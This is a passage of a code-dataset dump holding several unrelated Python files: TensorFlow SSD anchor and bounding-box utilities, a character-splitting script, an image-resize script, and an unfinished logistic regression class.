feat_localizations[:,:,:,:, 1] * prior_scaling[1] * anchor_w + anchor_cx\n # else:\n # pred_h = tf.exp(feat_localizations[:,:,:,:, 3] * prior_scaling[3]) * anchor_h\n # pred_w = tf.exp(feat_localizations[:,:,:,:,2] * prior_scaling[2]) * anchor_w\n # pred_cy = feat_localizations[:,:,:,:, 1] * prior_scaling[1] * anchor_h + anchor_cy\n # pred_cx = feat_localizations[:,:,:,:, 0] * prior_scaling[0] * anchor_w + anchor_cx\n # # return tf.split(tf.stack(self.center2point(pred_cy, pred_cx, pred_h, pred_w), axis=-1), num_anchors_per_layer, axis=0)\n # return tf.stack(center2point(pred_cy, pred_cx, pred_h, pred_w), axis=-1)\n\n def decode_all_anchors(self, pre_localisations, all_anchors, prior_scaling=None, decoding_order=None, scope = 'ssd_bboxes_decode'):\n \"\"\"\n :param pre_localisations: direct outputs of SSD nets list of 5-D tensors, each with shape (bs,h,w,laer_depth,4)\n :param all_anchors: list of tuple (y,x,h,w)\n :param prior_scaling:\n :param decoder_order:\n :returns:\n bboxes: list of 5-D tensor each shape (bs,w,h,layer_depth,4)\n \"\"\"\n if prior_scaling is None:\n assert self._prior_scaling is not None,'no prior scaling.'\n prior_scaling=self._prior_scaling\n if decoding_order is None:\n assert self._encording_order is not None,'no encoder order.'\n decoding_order = self._encording_order\n assert decoding_order == 0 or decoding_order == 1, 'invalid decorder order!'\n with tf.name_scope(scope):\n bboxes=[]\n for ind, feat_localisations in enumerate(pre_localisations):\n bboxes.append(\n self.decode_one_layer_anchors(feat_localisations, all_anchors[ind],prior_scaling,decoding_order)\n )\n return bboxes\n\n\n # def ext_decode_all_anchors(self, pred_location, all_anchors, all_num_anchors_depth, all_num_anchors_spatial):\n # assert (len(all_num_anchors_depth)==len(all_num_anchors_spatial)) and (len(all_num_anchors_depth)==len(all_anchors)), 'inconsist num layers for anchors.'\n # with tf.name_scope('ext_decode_all_anchors', [pred_location]):\n # num_anchors_per_layer = []\n # for ind in range(len(all_anchors)):\n # num_anchors_per_layer.append(all_num_anchors_depth[ind] * all_num_anchors_spatial[ind])\n #\n # num_layers = len(all_num_anchors_depth)\n # list_anchors_ymin = []\n # list_anchors_xmin = []\n # list_anchors_ymax = []\n # list_anchors_xmax = []\n # tiled_allowed_borders = []\n # for ind, anchor in enumerate(all_anchors):\n # anchors_ymin_, anchors_xmin_, anchors_ymax_, anchors_xmax_ = self.center2point(anchor[0], anchor[1], anchor[2], anchor[3])\n #\n # list_anchors_ymin.append(tf.reshape(anchors_ymin_, [-1]))\n # list_anchors_xmin.append(tf.reshape(anchors_xmin_, [-1]))\n # list_anchors_ymax.append(tf.reshape(anchors_ymax_, [-1]))\n # list_anchors_xmax.append(tf.reshape(anchors_xmax_, [-1]))\n #\n # anchors_ymin = tf.concat(list_anchors_ymin, 0, name='concat_ymin')\n # anchors_xmin = tf.concat(list_anchors_xmin, 0, name='concat_xmin')\n # anchors_ymax = tf.concat(list_anchors_ymax, 0, name='concat_ymax')\n # anchors_xmax = tf.concat(list_anchors_xmax, 0, name='concat_xmax')\n #\n # anchor_cy, anchor_cx, anchor_h, anchor_w = self.point2center(anchors_ymin, anchors_xmin, anchors_ymax, anchors_xmax)\n #\n # pred_h = tf.exp(pred_location[:,-2] * self._prior_scaling[2]) * anchor_h\n # pred_w = tf.exp(pred_location[:, -1] * self._prior_scaling[3]) * anchor_w\n # pred_cy = pred_location[:, 0] * self._prior_scaling[0] * anchor_h + anchor_cy\n # pred_cx = pred_location[:, 1] * self._prior_scaling[1] * anchor_w + anchor_cx\n #\n # return tf.split(tf.stack(self.center2point(pred_cy, pred_cx, pred_h, pred_w), axis=-1), num_anchors_per_layer, axis=0)\n\nclass AnchorCreator(object):\n def __init__(self, img_shape, layers_shapes, anchor_scales, extra_anchor_scales, anchor_ratios, layer_steps):\n super(AnchorCreator, self).__init__()\n # img_shape -> (height, width)\n self._img_shape = img_shape\n self._layers_shapes = layers_shapes\n self._anchor_scales = anchor_scales\n self._extra_anchor_scales = extra_anchor_scales\n self._anchor_ratios = anchor_ratios\n self._layer_steps = layer_steps\n self._anchor_offset = [0.5] * len(self._layers_shapes)\n\n def get_layer_anchors(self, layer_shape, anchor_scale, extra_anchor_scale, anchor_ratio, layer_step, offset = 0.5):\n '''\n :param layer_shape: tuple (x,x)\n :param anchor_scale:\n :param extra_anchor_scale:\n :param anchor_ratio:\n :param layer_step:\n :param offset:\n :return:\n y_on_image: shape (layer_shape[0], layer_shape[1],1)\n x_on_image: shape (layer_shape[0], layer_shape[1],1)\n list_h_on_image: shape (num_anchors_along_depth,)\n list_w_on_image: shape (num_anchors_along_depth,)\n num_anchors_along_depth: num_anchors_along_depth = len(anchor_scale) * len(anchor_ratio) + len(extra_anchor_scale)\n num_anchors_along_spatial: layer_shape[0]*layer_shape[1]\n ######Hint######\n assume layer_shape[0] = 6, layer_shape[1] = 5\n x_on_layer = [[0, 1, 2, 3, 4],\n [0, 1, 2, 3, 4],\n [0, 1, 2, 3, 4],\n [0, 1, 2, 3, 4],\n [0, 1, 2, 3, 4],\n [0, 1, 2, 3, 4]]\n y_on_layer = [[0, 0, 0, 0, 0],\n [1, 1, 1, 1, 1],\n [2, 2, 2, 2, 2],\n [3, 3, 3, 3, 3],\n [4, 4, 4, 4, 4],\n [5, 5, 5, 5, 5]]\n '''\n with tf.name_scope('get_layer_anchors'):\n x_on_layer, y_on_layer = tf.meshgrid(tf.range(layer_shape[1]), tf.range(layer_shape[0]))\n\n y_on_image = (tf.cast(y_on_layer, tf.float32) + offset) * layer_step / self._img_shape[0]\n x_on_image = (tf.cast(x_on_layer, tf.float32) + offset) * layer_step / self._img_shape[1]\n\n num_anchors_along_depth = len(anchor_scale) * len(anchor_ratio) + len(extra_anchor_scale)\n num_anchors_along_spatial = layer_shape[1] * layer_shape[0]\n\n list_h_on_image = []\n list_w_on_image = []\n\n global_index = 0\n # for square anchors\n list_h_on_image.append(anchor_scale[0])\n list_w_on_image.append(anchor_scale[0])\n global_index +=1\n for _, scale in enumerate(extra_anchor_scale):\n list_h_on_image.append(scale)\n list_w_on_image.append(scale)\n global_index += 1\n # for other aspect ratio anchors\n for scale_index, scale in enumerate(anchor_scale):\n for ratio_index, ratio in enumerate(anchor_ratio):\n # skip squraes, as it has already being handled\n if ratio_index==0:\n continue\n list_h_on_image.append(scale / math.sqrt(ratio))\n list_w_on_image.append(scale * math.sqrt(ratio))\n global_index += 1\n # shape info:\n # y_on_image, x_on_image: layers_shapes[0] * layers_shapes[1]\n # h_on_image, w_on_image: num_anchors_along_depth\n return tf.expand_dims(y_on_image, axis=-1), tf.expand_dims(x_on_image, axis=-1), \\\n tf.constant(list_h_on_image, dtype=tf.float32), \\\n tf.constant(list_w_on_image, dtype=tf.float32), num_anchors_along_depth, num_anchors_along_spatial\n\n def get_all_anchors(self):\n \"\"\"\n :return:\n all_anchors: list of tuple (y,x,h,w)\n all_num_anchors_depth: list of int\n all_num_anchors_spatial: list of int\n \"\"\"\n all_anchors = []\n all_num_anchors_depth = []\n all_num_anchors_spatial = []\n for layer_index, layer_shape in enumerate(self._layers_shapes):\n anchors_this_layer = self.get_layer_anchors(layer_shape,\n self._anchor_scales[layer_index],\n self._extra_anchor_scales[layer_index],\n self._anchor_ratios[layer_index],\n self._layer_steps[layer_index],\n self._anchor_offset[layer_index])\n all_anchors.append(anchors_this_layer[:-2])\n all_num_anchors_depth.append(anchors_this_layer[-2])\n all_num_anchors_spatial.append(anchors_this_layer[-1])\n return all_anchors, all_num_anchors_depth, all_num_anchors_spatial\n\ndef flatten_all_anchors(all_anchors, allowed_borders = [1.0] * 6, clip = True, scope = 'flatten_anchors'):\n '''\n :param all_anchors: list of tuple (y,x,h,w), length of list is the number of layer\n with y/x shape (layer_shape[0],layer_shape[1],1),\n w/h shape (num_anchors_along_depth[i],)\n (hint, for num_anchors_along_depth, see doc for class AnchorCreator)\n :return:\n a tuple (cy,cx,h,w)\n '''\n with tf.name_scope(scope):\n list_anchors_ymin = []\n list_anchors_xmin = []\n list_anchors_ymax = []\n list_anchors_xmax = []\n tiled_allowed_borders = []\n for ind, anchor in enumerate(all_anchors):\n # anchor tuple of 4 tf tensors (y,x,w,h)\n # anchors_ymin_/.... shape (layer_shape[0],layer_shape[1], w.shape[0])\n anchors_ymin_, anchors_xmin_, anchors_ymax_, anchors_xmax_ = center2point(anchor[0], anchor[1], anchor[2],\n anchor[3])\n # shape after reshape (num_anchors_each_layer,)\n list_anchors_ymin.append(tf.reshape(anchors_ymin_, [-1]))\n list_anchors_xmin.append(tf.reshape(anchors_xmin_, [-1]))\n list_anchors_ymax.append(tf.reshape(anchors_ymax_, [-1]))\n list_anchors_xmax.append(tf.reshape(anchors_xmax_, [-1]))\n # TODO Fix this error: Done!\n # tiled_allowed_borders.extend([self._allowed_borders[ind]] * all_num_anchors_depth[ind] * all_num_anchors_spatial[ind])\n tiled_allowed_borders.append(\n allowed_borders[ind] * tf.ones(list_anchors_xmax[-1].shape, dtype=tf.float32))\n # shape (num_anchors,)\n anchors_ymin = tf.concat(list_anchors_ymin, 0, name='concat_ymin')\n anchors_xmin = tf.concat(list_anchors_xmin, 0, name='concat_xmin')\n anchors_ymax = tf.concat(list_anchors_ymax, 0, name='concat_ymax')\n anchors_xmax = tf.concat(list_anchors_xmax, 0, name='concat_xmax')\n anchor_allowed_borders = tf.concat(tiled_allowed_borders, 0, name='concat_allowed_borders')\n\n if clip:\n anchors_ymin = tf.clip_by_value(anchors_ymin, 0., 1.)\n anchors_xmin = tf.clip_by_value(anchors_xmin, 0., 1.)\n anchors_ymax = tf.clip_by_value(anchors_ymax, 0., 1.)\n anchors_xmax = tf.clip_by_value(anchors_xmax, 0., 1.)\n\n # anchor_allowed_borders = tf.stack(tiled_allowed_borders, 0, name='concat_allowed_borders')\n\n inside_mask = tf.logical_and(tf.logical_and(anchors_ymin > -anchor_allowed_borders * 1.,\n anchors_xmin > -anchor_allowed_borders * 1.),\n tf.logical_and(anchors_ymax < (1. + anchor_allowed_borders * 1.),\n anchors_xmax < (1. + anchor_allowed_borders * 1.)))\n anchor_cy, anchor_cx, anchor_h, anchor_w = point2center(anchors_ymin, anchors_xmin, anchors_ymax, anchors_xmax)\n\n # # shape (all_num_anchors,4)\n # anchors_point = tf.stack([anchors_ymin, anchors_xmin, anchors_ymax, anchors_xmax], axis=-1)\n\n return (anchor_cy, anchor_cx, anchor_h, anchor_w)\n# =========================================================================== #\n# tensorflow implementations of SSD detected_bboxes\n# =========================================================================== #\n# use this for derect net output\ndef tf_detected_bboxes(predictions, localisations, all_anchors,\n select_threshold=None, decoding_order=0, nms_threshold=0.5,\n clipping_bbox=True,top_k=400, keep_top_k=200):\n classes, scores, bboxes = tf_ssd_bboxes_select(predictions,localisations,all_anchors,\n select_threshold=select_threshold,\n decode=True,\n decoding_order=decoding_order\n )\n bbox_img = tf.constant([0., 0., 1., 1.])\n if clipping_bbox:\n bboxes = tf_bboxes_clip(bbox_img, bboxes)\n classes, scores, bboxes = tf_bboxes_sort(classes, scores, bboxes, top_k=top_k)\n classes, scores, bboxes = tf_bboxes_nms_batch(classes, scores, bboxes, nms_threshold=nms_threshold,keep_top_k=keep_top_k)\n bboxes = tf_bboxes_resize(bbox_img, bboxes)\n return classes,scores,bboxes\n\n# =========================================================================== #\n# tensorflow implementations of SSD boxes functions.\n# =========================================================================== #\ndef tf_ssd_bboxes_decode(feat_localizations,\n anchor_bboxes,\n prior_scaling=[0.1, 0.1, 0.2, 0.2],\n decoding_order=0):\n \"\"\"Compute the relative bounding boxes from the layer features and\n reference anchor bounding boxes.\n :param feat_localizations: 5-D tensor with shape (bs, h, w, num_anchors, 4)\n :param anchor_bboxes: tuple (y,x,h,w) see doc of anchor_creator\n :param prior_scaling:\n :param decoding_order: 0 for decooding order (cy,cx,h,w) 1 for (cx,cy,w,h) which is SSD order\n Return:\n bboxes: 5-D tensor shape (bs, h, w, num_anchors, 4)\n \"\"\"\n # Reshape for easier broadcasting.\n yref, xref, href, wref = anchor_bboxes\n # Compute center, height and width\n if decoding_order==0:\n h = href * tf.exp(feat_localizations[:, :, :,:, 2] * prior_scaling[2])\n w = wref * tf.exp(feat_localizations[:, :,:,:, 3] * prior_scaling[3])\n cy = feat_localizations[:, :, :,:,0] * href * prior_scaling[0] + yref\n cx = feat_localizations[:, :, :,:,1] * wref * prior_scaling[1] + xref\n else:\n h = href * tf.exp(feat_localizations[:, :,:,:, 3] * prior_scaling[3])\n w = wref * tf.exp(feat_localizations[:, :,:,:, 2] * prior_scaling[2])\n cy = feat_localizations[:, :,:,:, 1] * href * prior_scaling[1] + yref\n cx = feat_localizations[:, :, :,:,0] * wref * prior_scaling[0] + xref\n # bboxes: ymin, xmin, xmax, ymax.\n ymin = cy-h/2.\n xmin = cx-w/2.\n ymax = cy+h/2.\n xmax = cx+w/2.\n return tf.stack([ymin,xmin,ymax,xmax],axis=-1)\n\ndef tf_ssd_bboxes_decode_with_flatten_input(feat_localizations,\n anchor_bboxes,\n prior_scaling=[0.1, 0.1, 0.2, 0.2],\n decoding_order=0):\n \"\"\"Compute the relative bounding boxes from the layer features and\n reference anchor bounding boxes.\n :param feat_localizations: 3-D tensor with shape (bs, all_num_anchors, 4)\n :param anchor_bboxes: tuple (y,x,h,w) see doc of anchor_creator\n :param prior_scaling:\n :param decoding_order: 0 for decooding order (cy,cx,h,w) 1 for (cx,cy,w,h) which is SSD order\n Return:\n bboxes: 3-D tensor shape (bs, all_num_anchors, 4)\n \"\"\"\n # Reshape for easier broadcasting.\n yref, xref, href, wref = anchor_bboxes\n # Compute center, height and width\n if decoding_order==0:\n h = href * tf.exp(feat_localizations[:, :, 2] * prior_scaling[2])\n w = wref * tf.exp(feat_localizations[:, :, 3] * prior_scaling[3])\n cy = feat_localizations[:, :,0] * href * prior_scaling[0] + yref\n cx = feat_localizations[:, :, 1] * wref * prior_scaling[1] + xref\n else:\n h = href * tf.exp(feat_localizations[:, :, 3] * prior_scaling[3])\n w = wref * tf.exp(feat_localizations[:, :, 2] * prior_scaling[2])\n cy = feat_localizations[:, :,1] * href * prior_scaling[1] + yref\n cx = feat_localizations[:,:,0] * wref * prior_scaling[0] + xref\n # bboxes: ymin, xmin, xmax, ymax.\n ymin = cy-h/2.\n xmin = cx-w/2.\n ymax = cy+h/2.\n xmax = cx+w/2.\n return tf.stack([ymin,xmin,ymax,xmax],axis=-1)\n\n\ndef tf_ssd_bboxes_select_layer(predictions_layer,\n localizations_layer,\n anchors_layer,\n select_threshold=0.5,\n decode=True,\n decoding_order=0):\n \"\"\"Extract classes, scores and bounding boxes from features in one layer.\n Return:\n :param predictions_layer: shape (bs,h,w,depth,classes)\n :param localizations_layer: shape (bs,h,w,depth,4)\n :param anchors_layer: tuple (y,x,h,w)\n :param select_threshold:\n :param decode:\n :param decoding_order:\n :return:\n classes: shape (bs,h*w*depth)\n scores: shape (bs,h*w*depth)\n bboxes: shape (bs,h*w*depth,4)\n \"\"\"\n # First decode localizations features if necessary.\n if decode:\n localizations_layer = tf_ssd_bboxes_decode(localizations_layer, anchors_layer,decoding_order=decoding_order)\n\n # Reshape features to: Batches x N x N_labels | 4.\n p_shape = tf.shape(predictions_layer)\n batch_size = p_shape[0]\n predictions_layer = tf.reshape(predictions_layer,\n (batch_size, -1, p_shape[-1]))\n l_shape = tf.shape(localizations_layer)\n localizations_layer = tf.reshape(localizations_layer,\n (batch_size, -1, l_shape[-1]))\n\n # Boxes selection: use threshold or score > no-label criteria.\n if select_threshold is None or select_threshold == 0:\n # Class prediction and scores: assign 0. to 0-class\n classes = tf.argmax(predictions_layer, axis=2)\n scores = tf.reduce_max(predictions_layer, axis=2)\n # scores = predictions_layer[classes]\n # mask = (classes > 0)\n # classes = tf.boolean_mask(classes,mask)\n # scores = tf.boolean_mask(scores,mask)\n # bboxes = tf.boolean_mask(localizations_layer,mask)\n scores = scores * tf.cast(classes > 0, scores.dtype)\n else:\n sub_predictions = predictions_layer[:, :, 1:]\n classes = tf.argmax(sub_predictions, axis=2) + 1\n scores = tf.reduce_max(sub_predictions, axis=2)\n # Only keep predictions higher than threshold.\n mask = tf.greater(scores, select_threshold)\n mask = tf.logical_and(classes>0,mask)\n classes = classes * tf.cast(mask, classes.dtype)\n scores = scores * tf.cast(mask, scores.dtype)\n # Assume localization layer already decoded.\n bboxes = localizations_layer\n return classes, scores, bboxes\n\ndef tf_ssd_bboxes_select(predictions_net,\n localizations_net,\n anchors_net,\n select_threshold=0.5,\n # img_shape=(300, 300),\n # num_classes=21,\n decode=True,\n decoding_order=0):\n \"\"\"Extract classes, scores and bounding boxes from network output layers.\n :param predictions_net: cls,raw net output list of 5-D tensor with shape (bs,h,w,layer_depth_num_anchors,num_classes)\n :param localizations_net: list of 5-D tensor shape (bs,h,w,layer_depth_num_anchors,4)\n :param anchors_net: list of anchors\n :param select_threshold:\n :param img_shape:\n :param num_classes:\n :param decode:\n :param decoding_order: 0 for decooding order (cy,cx,h,w) 1 for (cx,cy,w,h) which is SSD order\n :return:\n classes,\n scores,\n bboxes,\n \"\"\"\n l_classes = []\n l_scores = []\n l_bboxes = []\n # l_layers = []\n # l_idxes = []\n for i in range(len(predictions_net)):\n classes, scores, bboxes = tf_ssd_bboxes_select_layer(\n predictions_net[i], localizations_net[i], anchors_net[i],\n select_threshold, decode,decoding_order)\n l_classes.append(classes)\n l_scores.append(scores)\n l_bboxes.append(bboxes)\n # Debug information.\n # l_layers.append(i)\n # l_idxes.append((i, idxes))\n\n classes = tf.concat(l_classes, axis=1)\n scores = tf.concat(l_scores, axis=1)\n bboxes = tf.concat(l_bboxes, axis=1)\n return classes, scores, bboxes\n\n\n\n# =========================================================================== #\n# Common functions for bboxes handling and selection.\n# =========================================================================== #\ndef tf_bboxes_sort(classes, scores, bboxes, top_k=400, scope=None):\n \"\"\"Sort bounding boxes by decreasing order and keep only the top_k.\n Assume the input Tensors mix-up objects with different classes.\n Assume a batch-type input.\n Args:\n classes: Batch x N Tensor containing integer classes. or simple shape (N,)\n scores: Batch x N Tensor containing float scores. or simple shape (N,)\n bboxes: Batch x N x 4 Tensor containing boxes coordinates. or simple shape (N,4)\n top_k: Top_k boxes to keep.\n Return:\n classes, scores, bboxes: Sorted tensors of shape Batch x Top_k. or simple shape\n \"\"\"\n with tf.name_scope(scope, 'bboxes_sort', [classes, scores, bboxes]):\n scores, idxes = tf.nn.top_k(scores, k=top_k, sorted=True)\n\n # Trick to be able to use tf.gather: map for each element in the batch.\n def fn_gather(classes, bboxes, idxes):\n cl = tf.gather(classes, idxes)\n bb = tf.gather(bboxes, idxes)\n return [cl, bb]\n r = tf.map_fn(lambda x: fn_gather(x[0], x[1], x[2]),\n [classes, bboxes, idxes],\n dtype=[classes.dtype, bboxes.dtype],\n parallel_iterations=10,\n back_prop=False,\n swap_memory=False,\n infer_shape=True)\n classes = r[0]\n bboxes = r[1]\n return classes, scores, bboxes\n\ndef tf_bboxes_clip(bbox_ref, bboxes, scope=None):\n \"\"\"Clip bounding boxes to a reference box.\n Batch-compatible if the first dimension of `bbox_ref` and `bboxes`\n can be broadcasted.\n Args:\n bbox_ref: Reference bounding box. Nx4 or 4 shaped-Tensor;\n bboxes: Bounding boxes to clip. Nx4 or 4 shaped-Tensor or dictionary.\n Return:\n Clipped bboxes.\n \"\"\"\n # # Bboxes is dictionary.\n # if isinstance(bboxes, dict):\n # with tf.name_scope(scope, 'bboxes_clip_dict'):\n # d_bboxes = {}\n # for c in bboxes.keys():\n # d_bboxes[c] = tf_bboxes_clip(bbox_ref, bboxes[c])\n # return d_bboxes\n\n # Tensors inputs.\n with tf.name_scope(scope, 'bboxes_clip'):\n # Easier with transposed bboxes. Especially for broadcasting.\n bbox_ref = tf.transpose(bbox_ref)\n bboxes = tf.transpose(bboxes)\n # Intersection bboxes and reference bbox.\n ymin = tf.maximum(bboxes[0], bbox_ref[0])\n xmin = tf.maximum(bboxes[1], bbox_ref[1])\n ymax = tf.minimum(bboxes[2], bbox_ref[2])\n xmax = tf.minimum(bboxes[3], bbox_ref[3])\n # Double check! Empty boxes when no-intersection.\n ymin = tf.minimum(ymin, ymax)\n xmin = tf.minimum(xmin, xmax)\n bboxes = tf.transpose(tf.stack([ymin, xmin, ymax, xmax], axis=0))\n return bboxes\n\ndef tf_bboxes_resize(bbox_ref, bboxes, name=None):\n \"\"\"Resize bounding boxes based on a reference bounding box,\n assuming that the latter is [0, 0, 1, 1] after transform. Useful for\n updating a collection of boxes after cropping an image.\n \"\"\"\n # Tensors inputs.\n with tf.name_scope(name, 'bboxes_resize'):\n # Translate.\n v = tf.stack([bbox_ref[0], bbox_ref[1], bbox_ref[0], bbox_ref[1]])\n bboxes = bboxes - v\n # Scale.\n s = tf.stack([bbox_ref[2] - bbox_ref[0],\n bbox_ref[3] - bbox_ref[1],\n bbox_ref[2] - bbox_ref[0],\n bbox_ref[3] - bbox_ref[1]])\n bboxes = bboxes / s\n return bboxes\n\ndef tf_bboxes_nms(classes, scores, bboxes, nms_threshold=0.5, keep_top_k=200, scope=None):\n \"\"\"Apply non-maximum selection to bounding boxes. In comparison to TF\n implementation, use classes information for matching.\n Should only be used on single-entries. Use batch version otherwise.\n Args:\n classes: N tensor\n scores: N Tensor containing float scores.\n bboxes: N x 4 Tensor containing boxes coordinates.\n nms_threshold: Matching threshold in NMS algorithm;\n keep_top_k: Number of total object to keep after NMS.\n Return:\n classes, scores, bboxes Tensors, sorted by score.\n Padded with zero if necessary.\n \"\"\"\n with tf.name_scope(scope, 'bboxes_nms_single', [scores, bboxes]):\n # Apply NMS algorithm.\n idxes = tf.image.non_max_suppression(bboxes, scores,\n keep_top_k, nms_threshold)\n classes = tf.gather(classes,idxes)\n scores = tf.gather(scores, idxes)\n bboxes = tf.gather(bboxes, idxes)\n # Pad results.\n # scores = tfe_tensors.pad_axis(scores, 0, keep_top_k, axis=0)\n # bboxes = tfe_tensors.pad_axis(bboxes, 0, keep_top_k, axis=0)\n return classes,scores, bboxes\n\n\ndef tf_bboxes_nms_batch(classes, scores, bboxes, nms_threshold=0.5, keep_top_k=200,\n scope=None):\n \"\"\"Apply non-maximum selection to bounding boxes. In comparison to TF\n implementation, use classes information for matching.\n Use only on batched-inputs. Use zero-padding in order to batch output\n results.\n Args:\n classes: Batch x N\n scores: Batch x N Tensor/Dictionary containing float scores.\n bboxes: Batch x N x 4 Tensor/Dictionary containing boxes coordinates.\n nms_threshold: Matching threshold in NMS algorithm;\n keep_top_k: Number of total object to keep after NMS.\n Return:\n scores, bboxes Tensors/Dictionaries, sorted by score.\n Padded with zero if necessary.\n \"\"\"\n # Tensors inputs.\n with tf.name_scope(scope, 'bboxes_nms_batch'):\n r = tf.map_fn(lambda x: tf_bboxes_nms(x[0], x[1], x[2],\n nms_threshold, keep_top_k),\n (classes, scores, bboxes),\n dtype=(classes.dtype, scores.dtype, bboxes.dtype),\n parallel_iterations=10,\n back_prop=False,\n swap_memory=False,\n infer_shape=True)\n classes, scores, bboxes = r\n return classes, scores, bboxes\n\n","sub_path":"tf_utils/tf_anchor_utils.py","file_name":"tf_anchor_utils.py","file_ext":"py","file_size_in_byte":43988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"154443466","text":"import sys\nimport argparse\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"intext\", type=str, help=\"Input text file.\")\n args = parser.parse_args()\n\n try:\n with open(args.intext, 'r') as fi:\n for line in fi:\n sys.stdout.write(\n f\"{' '.join(list(line.strip().replace(' ', '')))}\\n\")\n except IOError:\n sys.exit(0)\n","sub_path":"egs/wenetspeech/local/seq2char.py","file_name":"seq2char.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"526045762","text":"from PIL import Image\n\n\n\n\nimage_path = \"C:\\\\Users\\\\askobnikov\\\\Downloads\\\\pic.jpg\"\nnew_image_path = \"C:\\\\Users\\\\askobnikov\\\\Downloads\\\\pic_new.jpg\"\n\nnew_width = 200\n\nimg = Image.open(image_path)\nimg.show()\n\nwidth = img.size[0]\nheight = img.size[1]\nratio = width/float(height)\n\nnew_height = int(new_width / ratio)\n\nnew_img = img.resize((new_width, new_height))\nnew_img.show()\nnew_img.save(new_image_path)","sub_path":"sandbox/resize_image.py","file_name":"resize_image.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"636480349","text":"#this script defines a class which contains methods to perform\n#a logistic regression by gradient descent\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import datasets\nfrom sklearn.model_selection import train_test_split\nimport seaborn as sns\nsns.set()\n\n\n\nclass LogisticRegression(object):\n \"\"\"This class provides methods to perform logistic regression on data.\nalpha : learning rate\nn_iter : number of iteration of gradient descent\nregularization : set to True if input should be regularized to avoid overfitting\nlamb : lambda parameter for regularization\"\"\"\n def __init__(self, alpha=0.001, n_iter=10000, regularization=False, lamb=1, intercept=True, norm=False, map_feat=False, feature_degree=4, plot_boundary=False):\n self.alpha = alpha\n self.n_iter = n_iter\n self.regularization = regularization\n self.lamb = lamb\n self.intercept = intercept\n self.norm = norm\n self.map_feat = map_feat\n self.plot_boundary = plot_boundary\n self.degree = feature_degree\n\n def normalize(self, X):\n \"\"\"Return normalized matrix.\"\"\"\n mu = np.mean(X, axis=0)\n sigma = np.std(X, axis=0)\n return (X - mu) / sigma\n\n def map_feature(self, X, degree):\n \"\"\"Feature mapping to polynomial features.\"\"\"\n X1 = X[:, 0]\n X2 = X[:, 1]\n mapped = np.copy(X)\n for i in range(3, self.degree + 1):\n for j in range(i + 1):\n X1_pow = np.power(X1, i - j)[:, np.newaxis]\n X2_pow = np.power(X2, j)[:, np.newaxis]\n mapped = np.concatenate((mapped, X1_pow * X2_pow), axis=1)\n return mapped\n\n def add_intercept(self, X):\n \"\"\"Add column of ones to X for vectorized calculations.\"\"\"\n intercept = np.ones((X.shape[0], 1))\n return np.concatenate((intercept, X), axis=1)\n\n def _s(self, z):\n \"\"\"Return result of sigmoid function with z as input.\"\"\"\n return 1 / (1 + np.exp(-z))\n\n def _cost(self, X, Y, theta):\n \"\"\"Return cost of logistic regression.\"\"\"\n #hypothesis function\n h = self._s(np.dot(X, theta))\n #number of training examples\n m = X.shape[0]\n #cost\n J = (np.dot(-Y.T, np.log(h)) - np.dot((1 - Y).T, np.log(1 - h))) / m\n return J\n\n def _gradient(self, X, Y, theta):\n \"\"\"Return gradient of cost of logistic regression.\"\"\"\n m = X.shape[0]\n h = self._s(np.dot(X, theta))\n return np.dot(X.T, h - Y) / m\n\n def accuracy(self, X, Y, theta):\n \"\"\"Return prediction accuracy of the logistic model.\"\"\"\n if X.shape[1] == theta.shape[0] - 1:\n X = self.add_intercept(X)\n p = np.round(self._s(np.dot(X, theta)))\n return np.mean((p == Y).astype(int))\n\n def _plot_boundary(self, X, Y, theta):\n \"\"\"Plot data along with decision boundary.\"\"\"\n #if we have a maximum of two features (excluding the intercept)\n if X.shape[1] <= 3:\n x_boundary = [np.min(X[:, 1]), np.max(X[:, 1])]\n y_boundary = -(theta[0] + theta[1] * x_boundary) / theta[2]\n #filter for target\n is_target = (Y == 1).flatten()\n #plot data with decision boundary line\n fig, ax = plt.subplots()\n ax.scatter(X[:, 1][is_target], X[:, 2][is_target], label=\"target\", color=\"C0\")\n ax.scatter(X[:, 1][is_target == 0], X[:, 2][is_target == 0], label=\"others\", color=\"C1\")\n ax.plot(x_boundary, y_boundary, color=\"C3\", label=\"Decision boundary\")\n ax.legend()\n plt.show()\n\n #if we have more than 3 features\n else:\n #grid range\n u = np.linspace(min(X[:, 1]), max(X[:, 1]), 100)\n v = np.linspace(min(X[:, 2]), max(X[:, 2]), 100)\n\n z = np.zeros((len(u), len(v)))\n #calculate z = theta*X over the grid\n for i in range(1, len(u)):\n for j in range(1, len(v)):\n UV = np.concatenate((u[i].reshape((1, 1)), v[j].reshape((1, 1))), axis=1)\n UV_mapped = self.add_intercept(self.map_feature(UV, self.degree))\n z[i, j] = np.dot(UV_mapped, self.theta)\n\n #plot data and contour line\n #create filter for target\n is_target = (Y == 1).flatten()\n #plot\n fig, ax = plt.subplots()\n ax.scatter(X[:, 1][is_target], X[:, 2][is_target], label=\"target\", color=\"C2\")\n ax.scatter(X[:, 1][is_target == 0], X[:, 2][is_target == 0], label=\"others\", color=\"grey\")\n ax.contour(u, v, z.T, 0, colors=\"C3\")\n ax.set_xlim(np.min(X[:, 1]) - 0.2, np.max(X[:, 1]) + 0.2)\n ax.set_ylim(np.min(X[:, 2]) - 0.2, np.max(X[:, 2]) + 0.2)\n ax.legend()\n plt.show()\n\n def fit(self, X, Y):\n \"\"\"Return theta parameters, cost history and accuracy of model for logistic regression \ndetermined by gradient descent, and history of cost values.\"\"\"\n \n #normalize X\n if self.norm:\n X = self.normalize(X)\n #map features to polynomial\n if self.map_feat:\n X = self.map_feature(X, self.degree)\n #add intercept to X\n if self.intercept:\n X = self.add_intercept(X)\n #initialize theta\n self.theta = np.zeros((X.shape[1], 1))\n #define array to store cost history\n cost_history = np.zeros(self.n_iter)\n #loop for number of iterations to perform gradient descent\n for i in range(self.n_iter):\n #calculate gradient\n gradient = self.alpha * self._gradient(X, Y, self.theta)\n #if regularization is chosen, calculate regularization terms\n #and add them to cost and gradient\n cost_reg = 0\n if self.regularization:\n theta_copy = np.copy(self.theta)\n theta_copy[0] = 0 #regularization will not happen for this\n cost_reg += (self.lamb / 2 / X.shape[0]) * np.dot(theta_copy.T, theta_copy)\n gradient_reg = self.lamb * theta_copy 